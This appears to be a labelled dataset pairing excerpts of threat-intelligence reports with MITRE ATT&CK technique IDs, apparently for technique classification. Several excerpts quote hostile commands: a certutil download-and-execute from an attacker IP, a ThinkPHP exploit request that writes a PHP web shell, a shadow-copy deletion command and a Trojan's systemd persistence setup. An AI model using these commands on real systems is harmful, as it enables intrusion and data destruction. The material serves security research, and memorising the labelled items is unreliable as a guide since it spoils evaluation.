QCRI/TechniqueRAG-Datasets huggingface dataset:
Threat description: Obfuscation While the downloader module is not packed, the backdoor is packed with a modified version of UPX
MITRE ATT&CK techniques:
T1027.002
Threat description: Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes
MITRE ATT&CK techniques:
T1027.002
Threat description: This is consistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate credentials, they are able to masquerade as a legitimate user and essentially become an insider threat
MITRE ATT&CK techniques:
T1036
Threat description: CTU researchers identified BRONZE UNION actors using a file named ms.exe that was likely a credential-abuse tool from the Kekeo toolset
MITRE ATT&CK techniques:
T1036
Threat description: Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity
MITRE ATT&CK techniques:
T1036
Threat description: Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement
MITRE ATT&CK techniques:
T1021.002
Threat description: There was a slight deviation in the November grouping, where the three samples we collected still used the Joohn author name for the last modified field but reverted to a default USER/user author name for the creator field
MITRE ATT&CK techniques:
T1033
Threat description: Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables
MITRE ATT&CK techniques:
T1033
Threat description: These strings have the following format:uuid=[Victim ID]#un=[Username]#cn=[Hostname]#on=[OS Version]#lan=[IP Address]#nop=#ver=1.0uuid=[Victim ID]#un=[Username]#An example of the first string may be seen below:uuid=e29ac6c0-7037-11de-816d-806e6f6e696351c5#un=Josh Grunzweig#cn=WIN-LJLV2NKIOKP#on=mav6miv1#lan=192.168.217.141#nop=#ver=1.0It should be noted that the variables used for this string are different from previous versions
MITRE ATT&CK techniques:
T1033
Threat description: When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell
MITRE ATT&CK techniques:
T1033
Threat description: Code comparison between the default batch script issued by Poison Frog’s C2 and a batch script received by the Helminth Trojan Webshells The data dump included several different webshells apparently used by OilRig to interact with compromised servers
MITRE ATT&CK techniques:
T1059
T1064
Threat description: When, finally, the first stage shellcode receives a special “FF” signal, it then executes the delivered shellcode
MITRE ATT&CK techniques:
T1059
T1064
Threat description: Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”
MITRE ATT&CK techniques:
T1059
T1064
Threat description: However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware
MITRE ATT&CK techniques:
T1059
T1064
Threat description: The full contents of the batch script are given in Appendix C – a.bat
MITRE ATT&CK techniques:
T1059
T1064
Threat description: Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration
MITRE ATT&CK techniques:
T1113
Threat description: The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]  Figure 1: Lure Screenshots The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences
MITRE ATT&CK techniques:
T1113
Threat description: The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system
MITRE ATT&CK techniques:
T1113
Threat description: It also deletes Windows Event Logs : Application, Security, Setup, System
MITRE ATT&CK techniques:
T1070
Threat description: As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister
MITRE ATT&CK techniques:
T1056
Threat description: Example of decoded keylogger output
MITRE ATT&CK techniques:
T1056
Threat description: XAgent C2 Communications The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality
MITRE ATT&CK techniques:
T1056
Threat description: (Source: SecureWorks) Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL
MITRE ATT&CK techniques:
T1574.002
Threat description: Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure, and all queries contained the HttpClient User-Agent:  GET /manager/html/ — Tomcat web application manager GET /jmx-console/ — JBoss configuration GET /CFIDE/administrator/login.cfm — ColdFusion configuration  Installation TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL
MITRE ATT&CK techniques:
T1574.002
Threat description: Figure 1: Code from 29[.]html scheduling the first task to run a script from pastebin The second task (“MSOFFICEER”) in Figure 2 runs the script contents of a different page of the same blog, blog-page[.]html, every 100 minutes
MITRE ATT&CK techniques:
T1053.005
T1053
Threat description: Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks.[8] Threat Actors Use Spear Phishing Written in Traditional Chinese Script in Attempted Intrusions In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television
MITRE ATT&CK techniques:
T1598.003
Threat description: Group123 Links?  As we explore the Korean malware landscape, we always have burning questions relating to any possible links with Group123
MITRE ATT&CK techniques:
T1598.003
Threat description: It’s important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted
MITRE ATT&CK techniques:
T1598.003
Threat description: Visitors are asked to download the “University Of Oxford Job Symposium Pre-Register Tool”:  The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process:    Note that after completing the “registration process”, the victim is asked to send the form to an email address in oxford-careers[.]com, which also belongs to the attackers
MITRE ATT&CK techniques:
T1057
Threat description: Verifies that there is no process with the name “rsyncd” on the active process list (“dbus-inotifier” if the Trojan does not have root privileges)
MITRE ATT&CK techniques:
T1057
Threat description: It is created as a separate process instead of child process of Office applications
MITRE ATT&CK techniques:
T1057
Threat description: After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file
MITRE ATT&CK techniques:
T1070.006
Threat description: - There were two interesting sub-classes found inside Main Activity: Receiver and Sender
MITRE ATT&CK techniques:
T1562.001
Threat description: It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools: Komplex: /Users/kazak/Desktop/Project/komplex XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system
MITRE ATT&CK techniques:
T1087
Threat description: Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = "C:\ProgramData\" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = "HKLM:\Software\" Hkcu = "HKCU:\Software\" ValuE = "kaspersky" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12
MITRE ATT&CK techniques:
T1546.013
T1059.001
Threat description: After decoding out the blob, analysts found a PowerShell script.
MITRE ATT&CK techniques:
T1546.013
T1059.001
Threat description: The macro contains a PowerShell script to persist in the "Run" registry key, "KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding".
MITRE ATT&CK techniques:
T1546.013
T1059.001
Threat description: A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).  Conclusion We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries)
MITRE ATT&CK techniques:
T1550.002
Threat description: The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer
MITRE ATT&CK techniques:
T1106
Threat description: FInally , the newest sample uses dynamic API lookups to attempt to make static disassembly harder to understand.
MITRE ATT&CK techniques:
T1106
Threat description: Unpacks the code in memory via process hollowing
MITRE ATT&CK techniques:
T1055.012
Threat description: The specific sandbox checks include:  Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm
MITRE ATT&CK techniques:
T1497.001
T1497
Threat description: Mouse Pointer Check The Trojan will perform the following WMI query:   Select * from Win32_PointingDevice   The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle
MITRE ATT&CK techniques:
T1497.001
T1497
Threat description: The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine
MITRE ATT&CK techniques:
T1497.001
T1497
Threat description: Microphone, Voice IP applications
MITRE ATT&CK techniques:
T1123
Threat description: After the encryption of file, it will delete shadow copies with the command “ vssadmin delete shadows /all ” to ensure that all the data cannot be restored easily.
MITRE ATT&CK techniques:
T1485
Threat description: Once encrypted, the system information is sent in the body of an HTTP POST
MITRE ATT&CK techniques:
T1486
Threat description: MS\d{2}-\d{3}
MITRE ATT&CK techniques:
T1210
Threat description: HKCU\Software\Microsoft\Office test\Special\Perf
MITRE ATT&CK techniques:
T1137
Threat description: VPN and to persist in same sentence
MITRE ATT&CK techniques:
T1133
Threat description: C:\Windows\System32\utilman.exe
MITRE ATT&CK techniques:
T1546.008
Threat description: !ExeCuteFile Executes a specified file using ShellExecuteA   !DeleteFileFolder Deletes a file or a folder   !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server   !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system    Table 2 Commands available within MPK IRC Bot   The post Magic Hound Campaign Attacks Saudi Targets appeared first on Palo Alto Networks Blog
MITRE ATT&CK techniques:
T1074
T1070.004
Threat description: ^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2   ^showconfig Creates a pipe delimited (“|”) string that contains the sample’s settings, including the list of C2 domains and available DNS query types
MITRE ATT&CK techniques:
T1008
T1071
Threat description: 10 Ensuring the files have been downloaded After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide
MITRE ATT&CK techniques:
T1105
T1083
Threat description: 25 26 ix32.dll ix64.dll LoadLibrary call template dll is used by Reinstaller/Injector plugin (rsXX.dll) for injecting LoadLibrary call into running processes
MITRE ATT&CK techniques:
T1055
T1574.002
Threat description: Additionally, the first stage JavaScript creates a scheduled task that executes the second stage code within a minute – this delayed execution helps to bypass behavior analysis since the second stage is not directly executed by the first stage
MITRE ATT&CK techniques:
T1064
T1074
T1053.005
T1027
Threat description: All subsequent messages are encrypted with AES in CBC mode
MITRE ATT&CK techniques:
T1027
T1573
Threat description: Analyzing Gold Dragon As part of its initialization, Gold Dragon:  Builds its imports by dynamically loading multiple APIs from multiple libraries Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes  The malware does not establish persistence for itself but for another component (if it is found) on the system:  The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system
MITRE ATT&CK techniques:
T1055
T1057
Threat description: An example of 1.hwp with registry and system information:  Gold Dragon executes these steps executed in the exfiltration process:  Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com” The encrypted content is written to the data file 1.hwp
MITRE ATT&CK techniques:
T1074
T1486
Threat description: A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop
MITRE ATT&CK techniques:
T1113
T1105
Threat description: Available Commands The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request
MITRE ATT&CK techniques:
T1059
T1071
Threat description: Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014
MITRE ATT&CK techniques:
T1203
T1068
Threat description: Building a client    Build configuration Usage scenario Description     Debug configuration Testing The pre-defined Settings.cs will be used, so edit this file before compiling the client
MITRE ATT&CK techniques:
T1027
T1562.001
Threat description: Command  Action    sign  Requests system information    settings  Requests settings from C2 server    logs  Uploads harvested passwords    wallet  Uploads harvested cryptocurrency wallet data    proxy  Indicates SOCKS proxy port opened    miner  Cryptocurrency miner commands    error  Reports errors to C2 server    ddos  DDoS attack commands    Table 1: Zyklon accepted commands The following figures show the initial request and subsequent server response for the “settings” (Figure 13), “sign” (Figure 14), and “ddos” (Figure 15) commands
MITRE ATT&CK techniques:
T1090
T1059
Threat description: Command Description   search Searches for corresponding files   search&upload Encrypts and adds the corresponding files to the upload directory with the provided name   uploadfile Encrypts and adds the specified file to the upload directory with the provided name   uploadfolder Encrypts and adds the mentioned directory to the upload directory with the provided name   shellexecute Silently executes received command with cmd.exe   wmic Silently executes received command with wmic.exe (for WMI commands)   sendIEPass Encrypts and adds all gathered browser data into files for upload to C2   uninstall Removes files, directory and BITS tasks    Cryptography To decrypt the configuration data, the malware uses XOR with 25-character keys such as “waEHleblxiQjoxFJQaIMLdHKz” that are different for every sample
MITRE ATT&CK techniques:
T1083
T1486
T1036
T1074
T1070.006
T1047
Threat description: Command Hash   Command Name   Description    0x0AA37987  loadconfig  Runs each command specified in the configuration file (see the Configuration section)
MITRE ATT&CK techniques:
T1016
T1070.006
Threat description: Comnie, first named by Sophos seemingly after the Windows LNK file name it created, is a custom malware family that is used in targeted attacks, and has been observed in the wild since at least April 2013
MITRE ATT&CK techniques:
T1036
T1547.009
Threat description: Creates the service file /usr/lib/systemd/system/rsyncd.service [Unit]Description= synchronize and backup service.After=syslog.target [Service].ExecStart=/bin/rsyncd.OOMScoreAdjust=-500 [Install].WantedBy=multi-user.target Then it installs the service by executing the following commands: ln -s '/lib/systemd/system/rsyncd.service' '/etc/systemd/system/multi-user.target.wants /rsyncd.service' systemctl daemon-reload  The running systemd process determines, which option will be used to register the Trojan in autorun
MITRE ATT&CK techniques:
T1007
T1102
T1569.002
T1021
T1543.003
Threat description: Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run  Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system
MITRE ATT&CK techniques:
T1547.001
T1012
T1112
Threat description: Encrypted backdoor configuration    Description Decryption Strings   Check code MDDEFGEGETGIZ   Addr1: tel.qpoe[.]com   Addr2: elderscrolls.wikaba[.]com   Addr3: tel.qpoe[.]com   Port1: 443   Port2: 443   Port3: 53   LoginPasswd: someone   HostMark: mark   Proxy: 0    Figure 12
MITRE ATT&CK techniques:
T1140
T1027
T1043
Threat description: Exploit Analysis  Despite being an older vulnerability, many threat actors continue to leverage CVE-2012-0158 to exploit Microsoft Word
MITRE ATT&CK techniques:
T1203
T1068
Threat description: Exploits  CVE-2017-0143, SMB exploit CVE-2017-0146, SMB exploit  These 2 exploits are EternalBlue/Doublepulsar and are used to drop the Stage1 Dropper onto a system.  Installation The Gh0stRAT dropper arrives on a PC through the use of EternalBlue/DoublePulsar.  Once on a victim’s PC, the dropper executable is launched and it decrypts and loads the Gh0stRAT DLL into memory.  It then passes the config buffer to the extracted DLL and calls the exported function (Shellex)  [Screenshot 2] The mainthread of the code.  Note the call at the bottom that calls Shellex Gh0stRAT dll functionality An important note:  In its base state, this sample is damaged, therefore it will not install its services properly.  However, as the service information is included, I will list it anyways.  Additionally, samples downloaded from its distribution server DO install correctly,  and are downloaded during the base dll’s runtime
MITRE ATT&CK techniques:
T1203
T1574.001
T1574.002
Threat description: Figure 12: DrAGon_MidDLe stores the list of proxy URLs used to interact with C2 server Section 2 The second section of the PowerShell script has the ability to perform encryption and decryption of messages that are exchanged between the system and the C2 server
MITRE ATT&CK techniques:
T1090
T1573
Threat description: Figure 2: APT39 attack lifecycle There are some indications that APT39 demonstrated a penchant for operational security to bypass detection efforts by network defenders, including the use of a modified version of Mimikatz that was repacked to thwart anti-virus detection in one case, as well as another instance when after gaining initial access APT39 performed credential harvesting outside of a compromised entity's environment to avoid detection
MITRE ATT&CK techniques:
T1070.004
T1027.002
Threat description: The ‘Company’ field in this case, contains the raw command that the attacker wishes to run, downloading and executing the next stage of the malware. Delivery via HTA Loader. In this case the attackers sent an HTML Application file (.hta) to targets most likely as an email attachment
MITRE ATT&CK techniques:
T1053.005
T1547.001
T1106
T1010
T1074
Threat description: Figure 4: Execution Workflow Section of v.vbs After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts
MITRE ATT&CK techniques:
T1106
T1053.005
T1064
Threat description: Figure 8 CARROTBAT downloading final payload via certutil   The downloaded CAB file has the following properties:    MD5 a943e196b83c4acd9c5ce13e4c43b4f4   SHA1 e66e416f300c7efb90c383a7630c9cfe901ff9fd   SHA256 cfe436c1f0ce5eb7ac61b32cd073cc4e4b21d5016ceef77575bef2c2783c2d62   File Type Microsoft Cabinet archive data, 181248 bytes, 3 files      The following three files and their descriptions are dropped by this CAB file:      Filename Purpose   Install.bat Installation batch script responsible for copying the other files to C:\Users\Public\Downloads and setting the Run registry key to ensure persistence
MITRE ATT&CK techniques:
T1105
T1083
T1064
T1036
Threat description: Figures 8 and 9: LiteHTTP screenshots taken from the user`s profile in which the acronym “Knock” appears Conclusion SpeakUp`s obfuscated payloads and propagation technique is beyond any doubt the work of a bigger threat in the making
MITRE ATT&CK techniques:
T1027
T1113
Threat description: First, we had not seen the CPU fan check used before, and upon testing the WMI query in a VMware Windows 7 virtual machine we saw no result, as seen in Figure 1  Figure 1 WMI query for the Win32_Fan class on a VM returning no statistics However, when we ran the same query in a physical system running Windows 7, we saw the contents of the Win32_Fan class, as seen in Figure 2
MITRE ATT&CK techniques:
T1497
T1047
Threat description: For example, we can see it will inject itself to one these three processes:  %ProgramFiles(x86)%\Sophos\AutoUpdate\ALUpdate.exe %ProgramFiles(x86)%\Common Files\Java\Java Update\jusched.exe %ProgramFiles(x86)%\Common Files\Adobe\ARM\1.0\armsvc.exe  The attempt to inject itself into a process belonging to antivirus product suite is particularly bold
MITRE ATT&CK techniques:
T1055
T1036
Threat description: For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:    Random Value Constant Value agent_id   0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30    The resulting ciphertext is then encoded using XAgent’s base64 encoding routine that starts by building the following encoding alphabet: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_ As you can see, this is not the standard base64 alphabet, rather it is the “URL and Filename safe” Base 64 Alphabet from RFC 4648, as the “+” in the standard alphabet is replaced with “-” and the “/” replaced with “_”
MITRE ATT&CK techniques:
T1132
T1027
Threat description: GET /<string>/<5 digit number>/<4 character string>.php?<first 3 characters of last string>_id=<43 character string>= HTTP/1.1 Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Host: <C2 Location> Cache-Control: no-cache    Figure 6: Sample GET request for WATERSPOUT backdoor Although there are no current infrastructure ties to link this backdoor to APT12, there are several data points that show a possible tie to the same actors:  Same initial delivery method (spear phishing email) with a Microsoft Word Document exploiting CVE-2012-0158
MITRE ATT&CK techniques:
T1008
T1010
Threat description: HawkEye offers the following exfiltration options based on the configuration: email, FTP, SFTP, HTTP POST to PanelURL API or ProxyURL.As mentioned above, in the comments of the main loop section, it also comes with several anti-analysis features, including starting an anti-debugging thread or disabling certain AV-related programs via the Image File Execution Options (IFEO) evasion technique by registering invalid debuggers that redirect and effectively disable various system and security applications.The following diagram summarizes the full infection process:ConclusionRecent changes in both the ownership and development efforts of the HawkEye Reborn keylogger/stealer demonstrate that this is a threat that will continue to experience ongoing development and improvement moving forward
MITRE ATT&CK techniques:
T1071
T1562.001
Threat description: Hijack Clipboard Bitcoin Address Zyklon has the ability to hijack the clipboard, and replaces the user’s copied bitcoin address with an address served up by the actor’s control server
MITRE ATT&CK techniques:
T1016
T1115
Threat description: If running with administrator privileges on a 32-bit host:  Copy the temporary DLL in %TEMP% to %WINDOWS%\LINKINFO.dll   Otherwise:  Copy the temporary DLL in %TEMP% to %APPDATA%\cnagnt.dll Delete the temporary DLL in %TEMP% Write a ‘Conime.lnk’ file in the user’s startup path
MITRE ATT&CK techniques:
T1055
T1574.001
T1574.002
T1070.004
Threat description: In each iteration of the communications loop, the Trojan will check to see if the modification time of the first file changed, and if it is not updated the Trojan will update the second file by writing the string b<unique identifier>c<5 random lowercase characters>.<C2 domain> to the file by creating an HTTP POST request to a URL structured as follows: <Google Drive URL in ‘gdue’> + <second file identifier> + “?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents” In one RogueRobin sample (SHA256: f1b2bc0831…), the author did not use the Google Drive URL provided by the actor when issuing the x_mode command, and instead included a  hardcoded Google Drive URL, as seen in Figure 6
MITRE ATT&CK techniques:
T1102
T1105
Threat description: In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup
MITRE ATT&CK techniques:
T1053.005
T1036
Threat description: It can be used to execute files as a different user, move, and delete files locally, schedule remote AT jobs, perform host discovery on connected networks, scan for open ports on hosts in a connected network, and retrieve information about the OS, users, groups, and shares on remote hosts
MITRE ATT&CK techniques:
T1087
T1046
Threat description: It has the following command line argument help: info  <Server/Domain> [options] [options]:   -d Domain   -o OsInfo   -t TsInfo   -n NetuseInfo   -s ShareInfo ShareDir   -c Connect Test   -a Local And Global Group User Info   -l Local Group User Info   -g Global Group User Info   -ga Group Administrators   -gp Group Power Users   -gd Group Domain Admins   -f <infile> //input server list from infile, OneServerOneLine info <\\server> <user> ChromePass: A tool from NirSoft used for recovering passwords stored in the Chrome browser
MITRE ATT&CK techniques:
T1069
T1087
Threat description: It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in: D-7Ig1ngV3PkdouzP974 The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string
MITRE ATT&CK techniques:
T1132
T1027
T1573
Threat description: Once connectivity to the service provider IP was verified, the actor established the service provider IP as a proxy for the victim’s SOGU backdoor
MITRE ATT&CK techniques:
T1090
T1543.003
T1016
Threat description: Once Shellex is called, it first passes each of the items in the config buffer to their own strings.  Next, it creates a mutex using the filename and checks to see if the Service key for the service name exists.  If so, it opens it using service manager.  If not, it first saves a copy of itself to %Program Files (x86)%/DIFXE/svchost.exe.  Next, it creates the service and runs it.  Once the service is running, it creates a new mutex using [C2URL]:[PORT] and connects to the C2 server.  It then sends the Implant_Heartbeat opcode, and then calls its payload function to grab  Version Information (x86 and x64) Host information SystemInfo Processor Count and Write Speed Global Memory Status  before formatting it, altering the InstallTime subkey, and sending all of the information back to its C2 in the Implant_Login buffer
MITRE ATT&CK techniques:
T1082
T1543.003
T1569.002
Threat description: Once the QUADAGENT payload has executed, it will use rdppath[.]com as the C2, first via HTTPS, then HTTP, then via DNS tunneling, each being used as a corresponding fallback channel if the former fails
MITRE ATT&CK techniques:
T1008
T1071
Threat description: One sample in particular, cba5ab65a… used yet another unique user agent string in combination with the previous user agent for its C2: Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1 A malware sample using two separate unique user agent strings is uncommon
MITRE ATT&CK techniques:
T1033
T1543.001
Threat description: Otherwise, the Server will respond with a command followed by a set of parameters, split up by the delimiter <>:[command]<>[parameters for command in hexadecimal format] The available commands are: Command Description 1 Run command 2 Upload a file 3 Download a specified file   The parameters for each command are issued in hexadecimal format
MITRE ATT&CK techniques:
T1059
T1016
T1070.006
T1105
Threat description: Palo Alto Networks customers are protected from this OilRig attack campaign and OopsIE by:  AutoFocus customers can track this Trojan with the OopsIE tag All known OopsIE samples are marked with malicious verdicts in WildFire All known OopsIE C2 domains have DNS signatures and are classified as Command and Control    Indicators of Compromise OopsIE Trojan 36e66597a3ff808acf9b3ed9bc93a33a027678b1e262707682a2fd1de7731e23 055b7607848777634b2b17a5c51da7949829ff88084c3cb30bcb3e58aae5d8e9 6b240178eedba4ebc9f1c8b56bac02676ce896e609577f4fb64fa977d67c0761 9e8ec04e534db1e714159cc68891be454c2459f179ab1df27d7f89d2b6793b17  OopsIE C2 defender-update[.]com windowspatch[.]com The post OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE appeared first on Palo Alto Networks Blog
MITRE ATT&CK techniques:
T1008
T1071
Threat description: Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect Bochs environment from the win32_BIOS WMI class.   Query attempts to detect QEMU environment from the win32_BIOS WMI class.   Query attempts to detect VirtualBox environment from the win32_BIOS WMI class.   Query attempts to detect VMWare environment from the win32_BIOS WMI class.   Query attempts to detect Xen environment from the win32_BIOS WMI class.   Uses this query to check the system information for the string “VMware”
MITRE ATT&CK techniques:
T1047
Threat description: Russia Ukraine Poland Lithuania Belarus Azerbaijan Kyrgyzstan Kazakhstan Iran Israel Turkey Libya Kuwait Taiwan Vietnam India Croatia Germany Belgium Sweden  Victim profiles point to an expansive interest in ICS:  power generation site owners power facilities construction power generation operators large suppliers and manufacturers of heavy power related materials investors  However, we also noticed that the target list includes government, property holding, and technology organizations as well:  high level government other ICS construction federal land holding agencies municipal offices federal emergency services space and earth measurement and assessment labs national standards body banks high-tech transportation academic research  Victim cases We gained insight into significant BE2 victim profiles over the summer of 2014
MITRE ATT&CK techniques:
T1007
T1083
Threat description: Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon’s Invoke-Obfuscation framework
MITRE ATT&CK techniques:
T1070
T1027
Threat description: Socks5 Proxy Zyklon features the ability to establish a reverse Socks5 proxy server on infected host machines
MITRE ATT&CK techniques:
T1090
T1016
Threat description: Stage 1 sample file: 3amadi_hamas.zip MD5: e686ffa90b2bfb567547f1c0dad1ae0b Type: Compressed container Child file/lure name: محضر اجتماع العمادي مع هنية رئيس حماس امس الاحد .exe Child file/lure MD5: 92dd0f16e8ae274d83ba1d0d5b2e342  This sample ZIP file, which is similar to many other stage 1 downloaders in this campaign, contains an executable that is a compiled AutoIt script and which embeds some interesting functions (listed in the table below)
MITRE ATT&CK techniques:
T1074
T1083
T1036
Threat description: Takes screenshots when recording VoiceIP app audio
MITRE ATT&CK techniques:
T1123
T1113
Threat description: The adversaries can get detailed information about the victim's machine, as you can see in the screenshot below.Beside the system information, it steals passwords from common web browsers, Filezilla, Beyluxe Messenger, CoreFTP and the video game "Minecraft." It also starts a keylogger, steals clipboard content, takes screenshots from the desktop and pictures from the webcam
MITRE ATT&CK techniques:
T1082
T1003
T1113
T1125
Threat description: The built-in Windows utility rundll32.exe is then used to load this DLL by the original .lnk file
MITRE ATT&CK techniques:
T1218.011
T1547.009
Threat description: The DDE instructions attempt to run the following the following command on the victim host, which attempts to download and execute a payload from a remote server:       C:\\Programs\\Microsoft\\MSOffice\\Word.exe\\..\\..\\..\\..\\Windows\\System32\\rundll32.exeC:\\Windows\\System32\\shell32.dll,ShellExec_RunDLLC:\\Windows\\System32\\cmd.exe /k certutil -urlcache -split -fhxxp://220.158.216[.]127/MScertificate.exe & MScertificate.exe"     During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127
MITRE ATT&CK techniques:
T1105
T1036
Threat description: The exploitation is issued in three steps:  Exploiting CVE-2018-20062 for uploading a PHP shell  Using a GET request, a remote command execution vulnerability in ThinkPHP (CVE-2018-20062) is sent to the targeted server, as shown below: s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<? php $action = $_GET[‘module’];system($action);? ^>>index.php This shell executes commands sent via the “module” parameter in a query
MITRE ATT&CK techniques:
T1059
T1203
Threat description: The fact that the actor used Metasploit shellcode within the Unicorn generated PowerShell script leads us to speculate that the ultimate payload of this attack is Meterpreter, which is a shellcode-based payload
MITRE ATT&CK techniques:
T1064
T1059.001
Threat description: The file will be inflated in order to retrieve a RTF document, this document will be displayed to the infected user by executing Wordpad.Here is the PDB path from the PoohMilk sample:E:\BIG_POOH\Project\milk\Release\milk.pdbFreenki SampleThe purpose of Freenki is to collect information on the infected system and to download a third executable
MITRE ATT&CK techniques:
T1082
T1105
Threat description: The full obfuscated command inside the .lnk file
MITRE ATT&CK techniques:
T1027
T1547.009
Threat description: The keylogger will monitor for active application windows and write them to the log in the following format: <span class=’keylog_process’>[Application Name]</span> The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format: <span class=’keylog_user_keys’>[logged keystrokes]</span> The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format; <span class=’keylog_spec_key’>[special character]</span> Infrastructure The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers: 23.227.196[.]215 apple-iclods[.]org apple-checker[.]org apple-uptoday[.]org apple-search[.]info When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure
MITRE ATT&CK techniques:
T1573
T1056
